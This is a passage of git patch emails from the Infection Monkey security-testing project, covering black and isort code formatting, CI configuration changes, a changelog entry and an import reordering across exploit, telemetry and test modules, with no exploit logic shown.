get_monkey_finding_dto, \ - get_scoutsuite_finding_dto -from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService +from monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_monkey_finding_dto, + get_scoutsuite_finding_dto, +) +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( + PrincipleService, +) from monkey_island.cc.test_common.fixtures import FixtureEnum EXPECTED_DICT = { - 'test_pillar1': [ + "test_pillar1": [ { - "principle": 'Test principle description2', + "principle": "Test principle description2", "status": zero_trust_consts.STATUS_FAILED, "tests": [ - { - "status": zero_trust_consts.STATUS_PASSED, - "test": "You ran a test2" - }, - { - "status": zero_trust_consts.STATUS_FAILED, - "test": "You ran a test3" - } - ] + {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, + {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, + ], } ], - 'test_pillar2': [ + "test_pillar2": [ { "principle": "Test principle description", "status": zero_trust_consts.STATUS_PASSED, - "tests": [ - { - "status": zero_trust_consts.STATUS_PASSED, - "test": "You ran a test1" - } - ] + "tests": [{"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test1"}], }, { "principle": "Test principle description2", "status": zero_trust_consts.STATUS_FAILED, "tests": [ - { - "status": zero_trust_consts.STATUS_PASSED, - "test": "You ran a test2" - }, - { - "status": zero_trust_consts.STATUS_FAILED, - "test": "You ran a test3" - }, - ] - } - ] + {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, + {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, + ], + }, + ], } @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_principles_status(): - TEST_PILLAR1 = 'test_pillar1' - TEST_PILLAR2 = 'test_pillar2' + TEST_PILLAR1 = "test_pillar1" + TEST_PILLAR2 = "test_pillar2" zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) - principles_to_tests = {'network_policies': ['segmentation'], - 'endpoint_security': ['tunneling', 'scoutsuite_service_security']} + principles_to_tests = { + "network_policies": ["segmentation"], + "endpoint_security": ["tunneling", "scoutsuite_service_security"], + } zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests - principles_to_pillars = {'network_policies': {'test_pillar2'}, - 'endpoint_security': {'test_pillar1', 'test_pillar2'}} + principles_to_pillars = { + "network_policies": {"test_pillar2"}, + "endpoint_security": {"test_pillar1", "test_pillar2"}, + } zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars - principles = {'network_policies': 'Test principle description', 'endpoint_security': 'Test principle description2'} + principles = { + "network_policies": "Test principle description", + "endpoint_security": "Test principle description2", + } zero_trust_consts.PRINCIPLES = principles - tests_map = {'segmentation': {'explanation': 'You ran a test1'}, - 'tunneling': {'explanation': 'You ran a test2'}, - 'scoutsuite_service_security': {'explanation': 'You ran a test3'}} + tests_map = { + "segmentation": {"explanation": "You ran a test1"}, + "tunneling": {"explanation": "You ran a test2"}, + "scoutsuite_service_security": {"explanation": "You ran a test3"}, + } zero_trust_consts.TESTS_MAP = tests_map monkey_finding = get_monkey_finding_dto() - monkey_finding.test = 'segmentation' + monkey_finding.test = "segmentation" monkey_finding.save() monkey_finding = get_monkey_finding_dto() - monkey_finding.test = 'tunneling' + monkey_finding.test = "tunneling" monkey_finding.save() scoutsuite_finding = get_scoutsuite_finding_dto() - scoutsuite_finding.test = 'scoutsuite_service_security' + scoutsuite_finding.test = "scoutsuite_service_security" scoutsuite_finding.save() expected = dict(EXPECTED_DICT) # new mutable diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py index 213a62e6b82..a03c554be52 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup.py @@ -19,7 +19,9 @@ def try_store_mitigations_on_mongo(): try: mongo.db.validate_collection(mitigation_collection_name) if mongo.db.attack_mitigations.count() == 0: - raise errors.OperationFailure("Mitigation collection empty. Try dropping the collection and running again") + raise errors.OperationFailure( + "Mitigation collection empty. Try dropping the collection and running again" + ) except errors.OperationFailure: try: mongo.db.create_collection(mitigation_collection_name) @@ -31,12 +33,19 @@ def try_store_mitigations_on_mongo(): def store_mitigations_on_mongo(): stix2_mitigations = MitreApiInterface.get_all_mitigations() - mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(MitreApiInterface.get_all_attack_techniques()) - mitigation_technique_relationships = MitreApiInterface.get_technique_and_mitigation_relationships() + mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns( + MitreApiInterface.get_all_attack_techniques() + ) + mitigation_technique_relationships = ( + MitreApiInterface.get_technique_and_mitigation_relationships() + ) for relationship in mitigation_technique_relationships: - mongo_mitigations[relationship['target_ref']].add_mitigation(stix2_mitigations[relationship['source_ref']]) + mongo_mitigations[relationship["target_ref"]].add_mitigation( + stix2_mitigations[relationship["source_ref"]] + ) for relationship in mitigation_technique_relationships: - mongo_mitigations[relationship['target_ref']].\ - add_no_mitigations_info(stix2_mitigations[relationship['source_ref']]) + mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info( + stix2_mitigations[relationship["source_ref"]] + ) for key, mongo_object in mongo_mitigations.items(): mongo_object.save() diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py index 17c1150793c..c0bc1f1aa33 100644 --- a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py +++ b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py @@ -1,2 +1,2 @@ class FixtureEnum: - USES_DATABASE = 'uses_database' + USES_DATABASE = "uses_database" diff --git a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py b/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py index 8a49d025411..079c91fb76f 100644 --- a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py +++ b/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py @@ -6,14 +6,14 @@ from monkey_island.cc.models.zero_trust.finding import Finding -@pytest.fixture(scope='session', autouse=True) +@pytest.fixture(scope="session", autouse=True) def change_to_mongo_mock(): # Make sure tests are working with mongomock mongoengine.disconnect() - mongoengine.connect('mongoenginetest', host='mongomock://localhost') + mongoengine.connect("mongoenginetest", host="mongomock://localhost") -@pytest.fixture(scope='function') +@pytest.fixture(scope="function") def uses_database(): _clean_edge_db() _clean_monkey_db() diff --git a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py b/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py index 64642895e42..41b641cc8e1 100644 --- a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py +++ b/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py @@ -5,8 +5,7 @@ PROFILER_LOG_DIR = "./profiler_logs/" -def profile(sort_args=['cumulative'], print_args=[100]): - +def profile(sort_args=["cumulative"], print_args=[100]): def decorator(fn): def inner(*args, **kwargs): result = None @@ -19,11 +18,13 @@ def inner(*args, **kwargs): except os.error: pass filename = PROFILER_LOG_DIR + _get_filename_for_function(fn) - with open(filename, 'w') as stream: + with open(filename, "w") as stream: stats = pstats.Stats(profiler, stream=stream) stats.strip_dirs().sort_stats(*sort_args).print_stats(*print_args) return result + return inner + return decorator diff --git a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py index 260d703d556..e5e7ecb5af3 100644 --- a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py +++ b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py @@ -4,5 +4,5 @@ from PyInstaller.utils.hooks import get_module_file_attribute -stix2_dir = os.path.dirname(get_module_file_attribute('stix2')) -datas = [(stix2_dir, 'stix2')] +stix2_dir = os.path.dirname(get_module_file_attribute("stix2")) +datas = [(stix2_dir, "stix2")] diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py index 61212e734d0..5330a322f87 100644 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -22,5 +22,5 @@ def main(): print(h.hexdigest()) -if __name__ == '__main__': +if __name__ == "__main__": main() From 42db1c497a097095a76b6e9e727f83e9153a0bb7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Apr 2021 16:43:23 +0530 Subject: [PATCH 0143/1360] Mark PostgreSQL fingerprinter safe --- .../cc/services/config_schema/definitions/finger_classes.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 427c72bb31f..c20c719103f 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -78,6 +78,7 @@ "PostgreSQLFinger" ], "title": "PostgreSQLFinger", + "safe": True, "info": "Checks if PostgreSQL service is running and if its communication is encrypted.", "attack_techniques": ["T1210"] } From 17da8896af5bf304c614cca645a430aad5510681 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Apr 2021 17:40:39 -0400 Subject: [PATCH 0144/1360] Add information about black to changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index d44e1348086..591a5057992 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,3 +16,4 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - `mongo_key.bin` file location can be selected at runtime. #994 - Monkey agents are stored in the configurable data_dir when monkey is "run from the island". #997 +- Reformated all code using black. #1070 From d5b74d70b20809310a073166a083c06657f029db Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Apr 2021 17:24:59 +0530 Subject: [PATCH 0145/1360] Modify isort configuration --- ci_scripts/isort.cfg | 6 ------ pyproject.toml | 11 +++++++++++ 2 files changed, 11 insertions(+), 6 deletions(-) delete mode 100644 ci_scripts/isort.cfg diff --git a/ci_scripts/isort.cfg b/ci_scripts/isort.cfg deleted file mode 100644 index d8651febd0e..00000000000 --- a/ci_scripts/isort.cfg +++ /dev/null @@ -1,6 +0,0 @@ -[isort] - -# Possible options: https://pycqa.github.io/isort/docs/configuration/options/ - -known_first_party=common,infection_monkey,monkey_island -skip=monkey/common/cloud/scoutsuite,monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py,monkey/monkey_island/cc/ui,monkey/common/cloud/scoutsuite diff --git a/pyproject.toml b/pyproject.toml index 97f50372bb9..077d3aeb8bf 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,3 +1,14 @@ [tool.black] line-length = 100 target-version = ['py37'] + +[tool.isort] +skip = "monkey/monkey_island/cc/ui" +known_first_party = "common,infection_monkey,monkey_island" +line_length = 100 +### for compatibility with black +multi_line_output = 3 +include_trailing_comma = true +force_grid_wrap = 0 +use_parentheses = true +ensure_newline_before_comments = true From ca365717b1165f53365f3829dfa1332fe10ba301 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Apr 2021 17:28:40 +0530 Subject: [PATCH 0146/1360] Modify travis script for isort --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 675ee16cafd..6ea44a9714e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -58,7 +58,7 @@ script: - flake8 ./monkey ## Check import order -- python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg +- python -m isort ./monkey --check-only ## Check that all python is properly formatted. Fail otherwise. - python -m black --check . From f85e6fc7d03ce28df3d19fff3e9f088e53316f99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Apr 2021 17:55:44 -0400 Subject: [PATCH 0147/1360] Sort all imports using isort 5.8.0 --- .../blackbox/analyzers/zerologon_analyzer.py | 8 ++++---- .../blackbox/island_client/island_config_parser.py | 2 +- envs/monkey_zoo/blackbox/test_blackbox.py | 4 ++-- .../blackbox/utils/config_generation_script.py | 8 ++------ monkey/common/cloud/aws/aws_instance.py | 1 + monkey/common/cloud/aws/test_aws_instance.py | 1 - monkey/common/cloud/azure/test_azure_instance.py | 1 - monkey/infection_monkey/control.py | 2 +- monkey/infection_monkey/exploit/hadoop.py | 2 +- .../infection_monkey/exploit/tests/test_zerologon.py | 1 - .../tests/zerologon_utils/test_vuln_assessment.py | 1 - monkey/infection_monkey/exploit/zerologon.py | 1 - monkey/infection_monkey/monkey.py | 3 +-- .../infection_monkey/telemetry/scoutsuite_telem.py | 1 + .../telemetry/tests/attack/test_attack_telem.py | 1 - .../telemetry/tests/attack/test_t1005_telem.py | 1 - .../telemetry/tests/attack/test_t1035_telem.py | 1 - .../telemetry/tests/attack/test_t1064_telem.py | 1 - .../telemetry/tests/attack/test_t1105_telem.py | 1 - .../telemetry/tests/attack/test_t1106_telem.py | 1 - .../telemetry/tests/attack/test_t1107_telem.py | 1 - .../telemetry/tests/attack/test_t1129_telem.py | 1 - .../telemetry/tests/attack/test_t1197_telem.py | 1 - .../telemetry/tests/attack/test_t1222_telem.py | 1 - .../telemetry/tests/attack/test_usage_telem.py | 1 - .../telemetry/tests/attack/test_victim_host_telem.py | 1 - .../telemetry/tests/test_exploit_telem.py | 1 - .../telemetry/tests/test_post_breach_telem.py | 1 - .../telemetry/tests/test_scan_telem.py | 3 +-- .../telemetry/tests/test_state_telem.py | 1 - .../telemetry/tests/test_system_info_telem.py | 1 - .../telemetry/tests/test_trace_telem.py | 1 - monkey/monkey_island.py | 1 - monkey/monkey_island/cc/app.py | 10 +++++----- monkey/monkey_island/cc/arg_parser.py | 2 +- .../cc/environment/environment_config.py | 2 +- monkey/monkey_island/cc/environment/test__init__.py | 2 +- .../cc/environment/test_environment_config.py | 3 +-- monkey/monkey_island/cc/main.py | 8 ++++---- monkey/monkey_island/cc/models/monkey.py | 2 +- monkey/monkey_island/cc/models/test_monkey.py | 2 +- monkey/monkey_island/cc/resources/local_run.py | 4 ++-- monkey/monkey_island/cc/resources/monkey.py | 2 +- monkey/monkey_island/cc/resources/root.py | 2 +- monkey/monkey_island/cc/services/config.py | 2 +- .../monkey_island/cc/services/configuration/utils.py | 2 +- monkey/monkey_island/cc/services/node.py | 2 +- .../exploit_processing/exploiter_descriptor_enum.py | 2 +- .../exploit_processing/exploiter_report_info.py | 2 +- .../exploit_processing/processors/cred_exploit.py | 2 +- .../exploit_processing/processors/zerologon.py | 2 +- monkey/monkey_island/cc/services/reporting/report.py | 12 ++++++------ .../cc/services/telemetry/processing/exploit.py | 2 +- .../monkey_findings/monkey_zt_details_service.py | 1 - .../scoutsuite/consts/scoutsuite_findings_list.py | 8 ++++---- .../zero_trust/scoutsuite/scoutsuite_auth_service.py | 2 +- .../scoutsuite/test_scoutsuite_auth_service.py | 6 +++--- .../scoutsuite/test_scoutsuite_rule_service.py | 2 +- .../services/zero_trust/test_common/finding_data.py | 4 ++-- .../zero_trust_report/test_finding_service.py | 10 +++++----- .../zero_trust_report/test_pillar_service.py | 8 ++++---- .../zero_trust_report/test_principle_service.py | 1 - monkey/monkey_island/cc/test_consts.py | 1 + monkey/monkey_island/cc/test_encryptor.py | 3 +-- 64 files changed, 70 insertions(+), 100 deletions(-) diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py index 6f71256b996..5c256beaf35 100644 --- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -1,13 +1,13 @@ -from typing import List from pprint import pformat +from typing import List import dpath.util from common.config_value_paths import ( - USER_LIST_PATH, - PASSWORD_LIST_PATH, - NTLM_HASH_LIST_PATH, LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, + USER_LIST_PATH, ) from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py index 8c7edaa585b..eda2def0113 100644 --- a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py +++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py @@ -3,8 +3,8 @@ import dpath.util from typing_extensions import Type -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient class IslandConfigParser: diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 303d0be52ad..3da99becf95 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -7,8 +7,6 @@ from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer -from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic @@ -25,6 +23,8 @@ from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 603e9fe4dc2..b2c69acdada 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -18,12 +18,8 @@ from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon -from envs.monkey_zoo.blackbox.island_client.island_config_parser import ( - IslandConfigParser, -) -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import ( - MonkeyIslandClient, -) +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient DST_DIR_NAME = "generated_configs" DST_DIR_PATH = pathlib.Path(pathlib.Path(__file__).parent.absolute(), DST_DIR_NAME) diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 5cdf3bdd3c7..236cde5e190 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -1,6 +1,7 @@ import json import logging import re + import requests from common.cloud.environment_names import Environment diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py index 146326518be..d3c89f06778 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -5,7 +5,6 @@ from common.cloud.aws.aws_instance import AWS_LATEST_METADATA_URI_PREFIX, AwsInstance from common.cloud.environment_names import Environment - INSTANCE_ID_RESPONSE = "i-1234567890abcdef0" AVAILABILITY_ZONE_RESPONSE = "us-west-2b" diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py index 7c5770446f4..fb1e01abb66 100644 --- a/monkey/common/cloud/azure/test_azure_instance.py +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -6,7 +6,6 @@ from common.cloud.azure.azure_instance import AZURE_METADATA_SERVICE_URL, AzureInstance from common.cloud.environment_names import Environment - GOOD_DATA = { "compute": { "azEnvironment": "AZUREPUBLICCLOUD", diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 19428b17a90..4ccd2bec4f8 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -9,12 +9,12 @@ import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel +from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from common.common_consts.timeouts import ( LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT, SHORT_REQUEST_TIMEOUT, ) -from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import check_internet_access, local_ips from infection_monkey.transport.http import HTTPConnectProxy diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index b9dd20159b4..d92c39f6c66 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -11,8 +11,8 @@ import requests -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/infection_monkey/exploit/tests/test_zerologon.py index b4a0833cebe..a2956887f75 100644 --- a/monkey/infection_monkey/exploit/tests/test_zerologon.py +++ b/monkey/infection_monkey/exploit/tests/test_zerologon.py @@ -3,7 +3,6 @@ from infection_monkey.exploit.zerologon import ZerologonExploiter from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" NETBIOS_NAME = "NetBIOS Name" diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py index 99ab690b4a8..525cd8e3fe1 100644 --- a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py +++ b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py @@ -5,7 +5,6 @@ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index a30ceda2df9..9c18b2de3d6 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -21,7 +21,6 @@ from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture - LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index d1871da22c4..7123d8b9ef8 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,6 @@ from threading import Thread import infection_monkey.tunnel as tunnel -from infection_monkey.network.tools import is_running_on_island from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.version import get_version @@ -18,7 +17,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner -from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index f6bb123d452..91b26f69d85 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,5 +1,6 @@ from ScoutSuite.output.result_encoder import ScoutJsonEncoder from ScoutSuite.providers.base.provider import BaseProvider + from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py index 0812b1ea65c..02d591f3e30 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.attack_telem import AttackTelem - STATUS = ScanStatus.USED TECHNIQUE = "T9999" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py index 6464d1121f1..7ad7e074c1c 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem - GATHERED_DATA_TYPE = "[Type of data collected]" INFO = "[Additional info]" STATUS = ScanStatus.USED diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py index 6313278ff97..f927e7b91e3 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.telemetry.attack.t1035_telem import T1035Telem - STATUS = ScanStatus.USED USAGE = UsageEnum.SMB diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py index 08031316bcd..1d242d4efdc 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1064_telem import T1064Telem - STATUS = ScanStatus.USED USAGE_STR = "[Usage info]" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py index 4c394714185..690c4508c69 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - DST_IP = "0.0.0.1" FILENAME = "virus.exe" SRC_IP = "0.0.0.0" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py index db537cc5115..2857bbc11ec 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.telemetry.attack.t1106_telem import T1106Telem - STATUS = ScanStatus.USED USAGE = UsageEnum.SMB diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py index 9930402442d..bb1bf2088d2 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1107_telem import T1107Telem - PATH = "path/to/file.txt" STATUS = ScanStatus.USED diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py index fa619f1480c..41178a74977 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.telemetry.attack.t1129_telem import T1129Telem - STATUS = ScanStatus.USED USAGE = UsageEnum.SMB diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py index c5aa8874a07..a7556e9524d 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -6,7 +6,6 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.t1197_telem import T1197Telem - DOMAIN_NAME = "domain-name" IP = "127.0.0.1" MACHINE = VictimHost(IP, DOMAIN_NAME) diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py index d3aeaddd60c..1b78bef5bfc 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py 